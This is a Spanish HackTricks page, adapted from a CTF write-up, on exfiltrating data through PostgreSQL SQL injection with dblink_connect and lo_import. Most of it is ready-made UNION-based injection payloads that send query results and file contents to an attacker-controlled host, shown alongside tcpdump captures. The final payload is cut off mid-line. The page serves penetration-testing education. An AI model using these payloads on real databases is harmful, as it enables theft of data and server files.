hacktricks/pentesting-web/sql-injection/postgresql-injection/dblink-lo_import-data-exfiltration.md
carlospolop 63bd9641c0 f
2023-06-05 20:33:24 +02:00

14 KiB

Exfiltración de datos con dblink/lo_import

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Este es un ejemplo de cómo exfiltrar datos cargando archivos en la base de datos con lo_import y exfiltrarlos usando dblink_connect.

Preparando el servidor de exfiltración/Inyección SQL asíncrona

Extraído de: https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md

Debido a que pg_sleep tampoco causa retrasos, podemos asumir con seguridad si la ejecución de la consulta ocurre en segundo plano o de forma asíncrona.

Normalmente, dblink_connect se puede utilizar para abrir una conexión persistente a una base de datos PostgreSQL remota (por ejemplo, SELECT dblink_connect('host=HOST user=USER password=PASSWORD dbname=DBNAME')). Debido a que podemos controlar el parámetro de esta función, podemos realizar una solicitud de falsificación de petición del lado del servidor SQL a nuestro propio host. Eso significa que podemos realizar una inyección SQL fuera de banda para exfiltrar datos de los resultados de la consulta SQL. Al menos, hay dos formas de hacer esto:

  1. Configurar un servidor DNS y luego activar la conexión a [data].our.domain para que podamos ver los datos en el registro o en los paquetes de red DNS.
  2. Configurar un servidor PostgreSQL público, monitorear los paquetes de red entrantes al puerto PostgreSQL, y luego activar una conexión a nuestro host con los datos exfiltrados como user/dbname. Por defecto, PostgreSQL no utiliza SSL para la comunicación, por lo que podemos ver user/dbname como un texto plano en la red.

El segundo método es más fácil porque no necesitamos ningún dominio. Solo necesitamos configurar un servidor con una dirección IP pública, instalar PostgreSQL, configurar el servicio de PostgreSQL para que escuche en */0.0.0.0, y ejecutar un capturador de red (por ejemplo, tcpdump) para monitorear el tráfico al puerto PostgreSQL (5432 por defecto).

Para configurar PostgreSQL para que escuche en público, establezca listen_addresses en postgresql.conf en *.

listen_addresses = '*'

Para monitorear el tráfico entrante, ejecuta tcpdump para monitorear el puerto 5432.

sudo tcpdump -nX -i eth0 port 5432

Para ver si obtenemos una conexión desde el objetivo, podemos intentar usar esta consulta:

asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=farisv password=postgres dbname=hellofromfb')) --

Si tenemos éxito, obtendremos un fragmento de paquete de red con el usuario y dbname legibles.

17:14:11.267060 IP [54.185.163.254.50968] > [REDACTED]: Flags [P.], seq 1:43, ack 1, win 229, options [nop,nop,TS val 970078525 ecr 958693110], length 42
    0x0000:  4500 005e 9417 4000 2706 248c 36b9 a3fe  E..^..@.'.$.6...
    0x0010:  9de6 2259 c718 2061 5889 142a 9f8a cb5d  .."Y...aX..*...]
    0x0020:  8018 00e5 1701 0000 0101 080a 39d2 393d  ............9.9=
    0x0030:  3924 7ef6 0000 002a 0003 0000 7573 6572  9$~....*....user
    0x0040:  0066 6172 6973 7600 6461 7461 6261 7365  .farisv.database
    0x0050:  0068 656c 6c6f 6672 6f6d 6662 0000       .hellofromfb.

Entonces, podemos continuar extrayendo la base de datos usando varias consultas de PostgreSQL. Tenga en cuenta que para cada resultado de consulta que contenga espacios en blanco, debemos convertir el resultado a hex/base64 con la función encode o reemplazar el espacio en blanco por otro carácter con la función replace, ya que esto causará un error de ejecución durante el proceso de dblink_connect.

Obtener una lista de esquemas:

asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT string_agg(schema_name,':') FROM information_schema.schemata) || ' password=postgres dbname=postgres')) --
17:36:46.538178 IP 54.185.163.254.51018 > [REDACTED]: Flags [P.], seq 1:70, ack 1, win 229, options [nop,nop,TS val 971433789 ecr 960048322], length 69
    0x0000:  4500 0079 ecd5 4000 2706 cbb2 36b9 a3fe  E..y..@.'...6...
    0x0010:  9de6 2259 c74a 2061 1e74 4769 b404 803d  .."Y.J.a.tGi...=
    0x0020:  8018 00e5 2710 0000 0101 080a 39e6 e73d  ....'.......9..=
    0x0030:  3939 2cc2 0000 0045 0003 0000 7573 6572  99,....E....user
    0x0040:  0070 7562 6c69 633a 696e 666f 726d 6174  .public:informat
    0x0050:  696f 6e5f 7363 6865 6d61 3a70 675f 6361  ion_schema:pg_ca
    0x0060:  7461 6c6f 6700 6461 7461 6261 7365 0070  talog.database.p
    0x0070:  6f73 7467 7265 7300 00                   ostgres.

Obtener una lista de tablas en el esquema actual:

asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT string_agg(tablename, ':') FROM pg_catalog.pg_tables WHERE schemaname=current_schema()) || ' password=postgres dbname=postgres')) --
17:38:30.515438 IP 54.185.163.254.51026 > [REDACTED]: Flags [P.], seq 1:42, ack 1, win 229, options [nop,nop,TS val 971537775 ecr 960152304], length 41
    0x0000:  4500 005d f371 4000 2706 c532 36b9 a3fe  E..].q@.'..26...
    0x0010:  9de6 2259 c752 2061 8dd4 e226 24a3 a5c5  .."Y.R.a...&$...
    0x0020:  8018 00e5 fe2b 0000 0101 080a 39e8 7d6f  .....+......9.}o
    0x0030:  393a c2f0 0000 0029 0003 0000 7573 6572  9:.....)....user
    0x0040:  0073 6561 7263 6865 7300 6461 7461 6261  .searches.databa
    0x0050:  7365 0070 6f73 7467 7265 7300 00         se.postgres.

Contar las filas en la tabla searches.

asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT COUNT(*) FROM searches) || ' password=postgres dbname=postgres')) --
17:42:39.511643 IP 54.185.163.254.51034 > [REDACTED]: Flags [P.], seq 1:35, ack 1, win 229, options [nop,nop,TS val 971786760 ecr 960401280], length 34
    0x0000:  4500 0056 7982 4000 2706 3f29 36b9 a3fe  E..Vy.@.'.?)6...
    0x0010:  9de6 2259 c75a 2061 5ec0 7df0 8611 357d  .."Y.Z.a^.}...5}
    0x0020:  8018 00e5 f855 0000 0101 080a 39ec 4a08  .....U......9.J.
    0x0030:  393e 8f80 0000 0022 0003 0000 7573 6572  9>....."....user
    0x0040:  0030 0064 6174 6162 6173 6500 706f 7374  .0.database.post
    0x0050:  6772 6573 0000                           gres.

Parece que solo hay una tabla vacía en el esquema actual y la bandera no está en la base de datos. Realmente necesitamos exfiltrar datos de /var/lib/postgresql/data/secret. Desafortunadamente, si intentamos usar pg_read_file o pg_read_binary_file para leer el archivo, no obtendremos una conexión entrante, por lo que el usuario actual puede no tener permiso para usar estas funciones.

Más información sobre la inyección de SQL asincrónica con PostgreSQL

Exfiltrando contenidos de objetos grandes

Es posible leer archivos usando objetos grandes (https://www.postgresql.org/docs/11/lo-funcs.html). Podemos usar lo_import para cargar el contenido del archivo en el catálogo pg_largeobject. Si la consulta tiene éxito, obtendremos el oid del objeto.

asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT lo_import('/var/lib/postgresql/data/secret')) || ' password=postgres dbname=postgres')) --
17:54:51.963925 IP 54.185.163.254.51046 > [REDACTED]: Flags [P.], seq 1:39, ack 1, win 229, options [nop,nop,TS val 972519214 ecr 961133706], length 38
    0x0000:  4500 005a 071f 4000 2706 b188 36b9 a3fe  E..Z..@.'...6...
    0x0010:  9de6 2259 c766 2061 26fb c8a7 bbb3 fe01  .."Y.f.a&.......
    0x0020:  8018 00e5 2272 0000 0101 080a 39f7 772e  ...."r......9.w.
    0x0030:  3949 bc8a 0000 0026 0003 0000 7573 6572  9I.....&....user
    0x0040:  0032 3436 3638 0064 6174 6162 6173 6500  .24668.database.
    0x0050:  706f 7374 6772 6573 0000                 postgres..

Obtuvimos 24668 como oid, lo que significa que podemos usar la función lo_import. Desafortunadamente, no obtendremos ningún resultado si intentamos obtener el contenido del objeto grande usando lo_get(24668) o acceder directamente al catálogo pg_largeobject. Parece que el usuario actual no tiene permiso para leer el contenido de los nuevos objetos.

Después de leer la documentación de objetos grandes en PostgreSQL, podemos descubrir que los objetos grandes pueden tener una ACL (Lista de Control de Acceso). Eso significa que, si hay un objeto antiguo con una ACL que permite al usuario actual leerlo, entonces podemos exfiltrar el contenido de ese objeto.

Podemos obtener una lista de oid de objetos grandes disponibles extrayéndolos de pg_largeobject_metadata.

asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT string_agg(cast(l.oid as text), ':') FROM pg_largeobject_metadata l) || ' password=postgres dbname=postgres')) --
18:06:57.172285 IP 54.185.163.254.51052 > [REDACTED]: Flags [.], seq 1:2897, ack 1, win 229, options [nop,nop,TS val 973244413 ecr 961858878], length 2896
    0x0000:  4500 0b84 7adf 4000 2606 339e 36b9 a3fe  E...z.@.&.3.6...
    0x0010:  9de6 2259 c76c 2061 8d76 e934 10c9 3972  .."Y.l.a.v.4..9r
    0x0020:  8010 00e5 a66d 0000 0101 080a 3a02 87fd  .....m......:...
    0x0030:  3954 cd3e 0000 1c94 0003 0000 7573 6572  9T.>........user
    0x0040:  0031 3635 3731 3a31 3634 3339 3a31 3635  .16571:16439:165
    0x0050:  3732 3a31 3634 3431 3a31 3634 3432 3a31  72:16441:16442:1
    0x0060:  3733 3732 3a31 3634 3434 3a31 3634 3435  7372:16444:16445
    0x0070:  3a31 3831 3534 3a31 3733 3830 3a31 3737  :18154:17380:177
    0x0080:  3038 3a31 3635 3737 3a31 3634 3530 3a31  08:16577:16450:1
    0x0090:  3634 3531 3a31 3634 3532 3a31 3634 3533  6451:16452:16453

.....
.....
.....

Tenemos un montón de oids. Podemos intentar usar lo_get para cargar el contenido del objeto. Por ejemplo, lo_get(16439) cargará el contenido de /etc/passwd. Debido a que el resultado de lo_gets es bytea, necesitamos convertirlo a UTF8 para que se pueda agregar en la consulta.

Podemos intentar cargar algunos objetos con el oid más bajo para averiguar si el archivo de la bandera ha sido cargado antes. El objeto del archivo de la bandera existe con oid 16444. No hay espacios en blanco en la bandera, por lo que podemos mostrarla tal cual.

Para cargar la bandera:

asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT convert_from(lo_get(16444), 'UTF8')) || ' password=postgres dbname=p

Más información sobre oid:

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥